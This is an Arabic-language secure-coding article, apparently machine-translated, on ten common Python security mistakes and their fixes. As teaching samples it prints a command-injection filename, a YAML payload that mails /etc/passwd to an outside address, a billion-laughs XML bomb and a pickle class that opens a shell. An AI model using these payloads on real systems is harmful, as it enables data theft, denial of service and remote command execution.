أكثر 10 أخطاء أمنية شيوعًا في Python وكيفية تجنبها

مرحبا بالجميع!

بدأت مجموعة Python التالية بنجاح يوم الاثنين ، ولكن لا يزال لدينا مادة أخرى لم نتمكن من وضعها قبل البداية. نقوم بتصحيح خطأنا ونأمل أن يعجبك.

دعنا نذهب!

كتابة رمز آمن أمر صعب. عندما تتعلم لغة أو وحدة أو إطار عمل ، سوف تتعلم كيفية استخدامه. تحتاج أيضًا إلى التفكير في كيفية استخدامها بشكل غير صحيح في سياق الأمان. Python ليست استثناء ، حتى وثائق المكتبة القياسية تحتوي على أوصاف ممارسات الكتابة السيئة للتطبيقات الآمنة. ومع ذلك ، فإن العديد من مطوري Python لا يعرفونهم.



فيما يلي أهم 10 (بترتيب عشوائي) من الأخطاء الأكثر شيوعًا في تطبيقات Python.

1. الحقن


هناك العديد من أنواع هجمات حقن الكود ، وكلها شائعة إلى حد ما. تؤثر على جميع اللغات والأطر والبيئات.

إدخال SQL هو عندما تكتب استعلامات SQL مباشرة ، بدلاً من استخدام ORM ، وتخلط حرفية السلسلة مع المتغيرات. قرأت الكثير من التعليمات البرمجية حيث يعتبر "الهروب من الاقتباسات" إصلاحًا. الأمر ليس كذلك. يمكنك التعرف على العديد من الطرق لتضمين SQL في ورقة الغش هذه.

إدخال الأمر هو عندما تقوم في أي وقت باستدعاء عملية باستخدام popen ، subprocess ، os.system وتقبل الحجج من المتغيرات. عند استدعاء الأوامر المحلية ، هناك احتمال أن يقوم شخص ما بتعيين هذه القيم على شيء ضار.

تخيل هذا النص البسيط [الائتمان] . يمكنك استدعاء العملية الفرعية باسم الملف المقدم من قبل المستخدم:

import subprocess def transcode_file(request, filename): command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename) subprocess.call(command, shell=True) # a bad idea! 

يقوم المهاجم بتعيين القيمة إلى اسم الملف "; cat /etc/passwd | mail them@domain.com أو أي شيء خطير.

الحل:

عقم المدخلات باستخدام الأدوات المساعدة التي تأتي مع إطار الويب الخاص بك إذا كنت تستخدم واحدًا. ما لم يكن لديك سبب وجيه ، لا تقم بإنشاء استعلامات SQL يدويًا. تحتوي معظم أجهزة ORM على طرق تطهير مضمنة.

بالنسبة للصدفة ، استخدم وحدة shlex لحماية الإدخال بشكل صحيح.

2. تحليل XML


إذا قام التطبيق الخاص بك بتنزيل ملفات XML وتحليلها ، فمن المحتمل أنك تستخدم إحدى وحدات مكتبة XML القياسية. هناك العديد من الهجمات الشائعة من خلال XML. في الغالب على غرار DoS (مصمم لإسقاط النظام ، وليس تصفية البيانات). هذه الهجمات شائعة جدًا ، خاصةً إذا كنت تقوم بتحليل ملفات XML خارجية (أي تلك التي لا يمكن الوثوق بها).

واحد منهم يسمى "مليار الضحك" (حرفيا "مليار الضحك") بسبب الحمولة ، والتي عادة ما تحتوي على الكثير (المليارات) من "الضحك بصوت مرتفع". في الأساس ، الفكرة هي أنه يمكنك إنشاء كائنات مرجعية في XML ، لذلك عندما يحاول محلل XML المتواضع تحميل هذا الملف في الذاكرة ، فإنه يستهلك غيغابايت من ذاكرة الوصول العشوائي. جربه إذا كنت لا تصدقني :-)

 <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> 

تستخدم الهجمات الأخرى التوسع من قبل كيان خارجي. يدعم XML مراجع الكيانات من عناوين URL الخارجية ، وعادة ما يطلب محلل XML ويحمل هذا المورد دون أي مشاكل. "يمكن للمهاجم تجاوز جدران الحماية والوصول إلى موارد محدودة لأن جميع الطلبات تتم من عنوان IP داخلي وموثوق به ، وليس من الخارج."

هناك موقف آخر يستحق التفكير فيه وهو حزم فك تشفير XML التابعة لجهة خارجية والتي تعتمد عليها ، مثل ملفات التكوين وواجهات برمجة التطبيقات البعيدة. قد لا تشك في أن أحد تبعياتك مفتوح لهذه الأنواع من الهجمات.
ما الذي يحدث في بيثون؟ حسنًا ، وحدات المكتبة القياسية ، etree ، DOM ، xmlrpc مفتوحة على نطاق واسع لمثل هذه الهجمات. هذا موثق جيدًا هنا .

الحل:

استخدم defusedxml كبديل لوحدات المكتبة القياسية. ويضيف تدابير دفاعية ضد هذه الأنواع من الهجمات.

3. تأكيد التعليمات


لا تستخدم assert لحماية أجزاء التعليمات البرمجية التي لا يجب على المستخدم الوصول إليها. خذ هذا المثال البسيط:

 def foo(request, user): assert user.is_admin, “user does not have access” # secure code... 

الآن ، بشكل افتراضي ، يعمل Python بـ __debug__ يساوي __debug__ الحقيقية ، ولكن في بيئة قتالية يبدأ عادةً بالتحسين. سيتم تخطي تعليمات assert وسيذهب البرنامج مباشرة إلى الرمز المحمي ، بغض النظر عما إذا كان المستخدم is_admin أم لا.

الحل:

استخدم تعليمات assert فقط للتفاعل مع المطورين الآخرين ، على سبيل المثال ، في اختبارات الوحدة أو للحماية من الاستخدام غير الصحيح لواجهة برمجة التطبيقات.

4. الهجمات المؤقتة


تعتبر الهجمات الزمنية ، في جوهرها ، طريقة لفضح سلوك وخوارزمية البرنامج من خلال تحديد الوقت المطلوب لمقارنة القيم المقدمة. تتطلب الهجمات المؤقتة الدقة ، لذلك لا تعمل عادةً على شبكة بعيدة ذات وقت استجابة مرتفع. بسبب التأخير المتغير المرتبط بمعظم تطبيقات الويب ، يكاد يكون من المستحيل تسجيل هجوم مؤقت عبر خوادم الويب HTTP.

ولكن إذا كان لديك تطبيق سطر أوامر يطلب كلمة مرور ، فيمكن للمهاجم كتابة نص برمجي بسيط لحساب الوقت الذي تستغرقه لمقارنة قيمهم بكلمة المرور الفعلية. مثال .

إذا كنت تريد أن ترى كيف تعمل ، فهناك بعض الأمثلة المثيرة للإعجاب ، مثل هجوم SSH المؤقت المكتوب بلغة Python.

الحل:

استخدم secrets.compare_digest المقدم في Python 3.5 لمقارنة كلمات المرور والقيم الخاصة الأخرى.

5. حزم الموقع الملوثة أو مسار الاستيراد


تمتلك Python نظام استيراد مرن للغاية. يعد هذا أمرًا رائعًا عندما تحاول كتابة بقع قرد لاختباراتك أو زيادة التحميل على الوظائف الرئيسية.

لكن هذه واحدة من أكبر الثغرات الأمنية في بايثون.

تثبيت حزم الطرف الثالث في حزم الموقع الخاصة بك ، سواء في بيئة افتراضية أو حزم موقع عالمية (والتي عادة ما تثبط) ، يوفر لك ثغرات أمنية في هذه الحزم.

كانت هناك حالات لنشر حزم PyPi بأسماء مشابهة لأسماء الحزم الشائعة ولكن تنفيذ التعليمات البرمجية التعسفية . لحسن الحظ ، لم يكن الحادث الأكبر خطيرًا ، وببساطة "أنهى" حقيقة أنهم لم ينتبهوا إلى المشكلة.

موقف آخر يجب التفكير فيه هو تبعيات تبعياتك (إلخ). يمكن أن تتضمن نقاط الضعف ، ويمكنها أيضًا تجاوز السلوك الافتراضي في Python من خلال نظام الاستيراد.

الحل:

تحقق من الحزم الخاصة بك. ألق نظرة على PyUp.io وفريق الأمن الخاص بهم. استخدم بيئة افتراضية لجميع التطبيقات وتأكد من أن حزم مواقعك العالمية نظيفة قدر الإمكان. تحقق من تواقيع الحزمة.

6. الملفات المؤقتة


لإنشاء ملفات مؤقتة في Python ، عادةً ما تقوم أولاً بإنشاء اسم الملف باستخدام وظيفة mktemp() ، ثم إنشاء الملف باستخدام الاسم الذي تم إنشاؤه. "هذا غير آمن لأن عملية أخرى يمكنها إنشاء ملف بنفس الاسم بين الوقت الذي mktemp() استدعاء mktemp() والمحاولة اللاحقة لإنشاء الملف من خلال العملية الأولى." وهذا يعني أنه يمكن أن يخدع تطبيقك إما عن طريق تنزيل بيانات غير صحيحة أو تعريض بيانات مؤقتة أخرى للخطر.

ستُظهر الإصدارات الحديثة من Python تحذيرًا في وقت التشغيل إذا اتصلت بالطريقة الخاطئة.

الحل:

استخدم الوحدة النمطية tempfile واستخدم mkstemp إذا كنت بحاجة إلى إنشاء ملفات مؤقتة.

7. باستخدام yaml.load


نقلاً عن وثائق PyYAML:

تحذير ليس من الآمن استدعاء yaml.load مع أي بيانات يتم تلقيها من مصدر غير موثوق به! yaml.load فعال مثل pickle.load ، وبالتالي يمكن استدعاء أي وظيفة Python.

تم العثور على هذا المثال الرائع في مشروع Ansible الشهير. يمكنك إعطاء Ansible Vault قيمة كـ YAML (صالح). يستدعي os.system() مع الوسائط المقدمة في الملف.

 !!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"] 

وبالتالي ، من خلال تحميل ملفات YAML من القيم التي يوفرها المستخدم ، فأنت على نطاق واسع للهجوم.


شرح هذا في العمل ، وذلك بفضل أنتوني Sottile

الحل:

استخدم yaml.safe_load ، دائمًا تقريبًا ، إلا إذا كان لديك سبب وجيه حقًا لعدم القيام بذلك.

8. المخللات


يعد إلغاء تسلسل البيانات المعلبة أمرًا سيئًا مثل YAML. يمكن لفصول بايثون أن تعلن عن طريقة __reduce__ سحرية تقوم بإرجاع سلسلة ، أو مجموعة مع مجموعة قابلة للاستدعاء ، وتمرير الحجج ليتم استدعاؤها عند الحفظ. يمكن للمهاجم استخدام هذا لتضمين ارتباطات إلى إحدى وحدات المعالجة الفرعية لتشغيل أوامر عشوائية على المضيف.

يوضح هذا المثال الرائع كيفية الحفاظ على فئة تفتح غلافًا في Python 2. هناك العديد من الأمثلة الأخرى حول كيفية استخدام المخلل.

 import cPickle import subprocess import base64 class RunBinSh(object): def __reduce__(self): return (subprocess.Popen, (('/bin/sh',),)) print base64.b64encode(cPickle.dumps(RunBinSh())) 

الحل:

لا تعيد فتح البيانات من مصدر غير موثوق به أو لم يتم التحقق منه. بدلاً من ذلك ، استخدم نمط تسلسل مختلف ، مثل JSON.

9. استخدم نظام وقت تشغيل بايثون ولا تقم بإصلاحه


تأتي معظم أنظمة POSIX بإصدار Python 2. بطبيعة الحال ، أصبحت قديمة بالفعل.

منذ بايثون ، أي أن CPython مكتوب بالحرف C ، هناك أوقات يكون فيها مترجم Python نفسه به ثقوب. تتعلق مشكلات الأمان الشائعة في C بتخصيص الذاكرة ، بالإضافة إلى أخطاء تجاوز سعة المخزن المؤقت.

على مر السنين ، كان لدى CPython العديد من نقاط الضعف ذات الحجم الكبير أو الفائض ، وقد تم إصلاح كل منها وإصلاحه في الإصدارات اللاحقة.
لذلك أنت آمن. بتعبير أدق ، إذا قمت بتثبيت تصحيحات لوقت التشغيل الخاص بك .

في ما يلي مثال للإصدار 2.7.13 وما يليه ، وهو ثغرة أمنية تجاوز عدد صحيح يسمح بتنفيذ التعليمات البرمجية. هذا المثال مخصص لأي أوبونتو يصل إلى الإصدار 17 بدون تثبيت التصحيحات.

الحل:

قم بتثبيت أحدث إصدار من Python لتطبيقاتك القتالية وجميع التصحيحات!

10. لا تقم بتثبيت تصحيحات تبعياتك


تمامًا كما لا تقم بتثبيت تصحيحات لوقت التشغيل الخاص بك ، تحتاج أيضًا إلى تثبيت تصحيحات بشكل منتظم لتبعياتك.

أعتقد أن ممارسة "تثبيت" إصدارات Python من حزم PyPi في حزم أمر مروع. الفكرة هي أن " هذه إصدارات تعمل " ، لذا يتركها الجميع بمفردهم.

جميع نقاط الضعف في التعليمات البرمجية التي ذكرتها أعلاه لا تقل أهمية عند وجودها في الحزم التي يستخدمها تطبيقك. يقوم مطورو هذه الحزم بإصلاح مشكلات الأمان. طوال الوقت.

الحل:

استخدم خدمات مثل PyUp.io للتحقق من التحديثات وتكوين طلبات التنزيل / الدمج في التطبيق وتشغيل الاختبارات لتحديث الحزم.
استخدم أدوات ، مثل InSpec ، للتحقق من الإصدارات المثبتة في بيئة إنتاج ولتوفير إصلاحات للحد الأدنى من الإصدارات أو نطاقات الإصدارات.

هل حاولت اللصوص؟

هناك linter كبير ثابت ستجد كل هذه المشاكل في التعليمات البرمجية الخاصة بك وأكثر من ذلك بكثير! يطلق عليه اللصوص ، فقط pip install bandit bandit ./codedir

PyCQA / قطاع الطرق

شكرًا لـ RedHat على هذه المقالة الرائعة التي استخدمتها في بعض أبحاثي.

النهاية!

كما هو الحال دائمًا ، يسعدنا أن نرى تعليقاتك وأسئلتك :)

Source: https://habr.com/ru/post/ar420441/


All Articles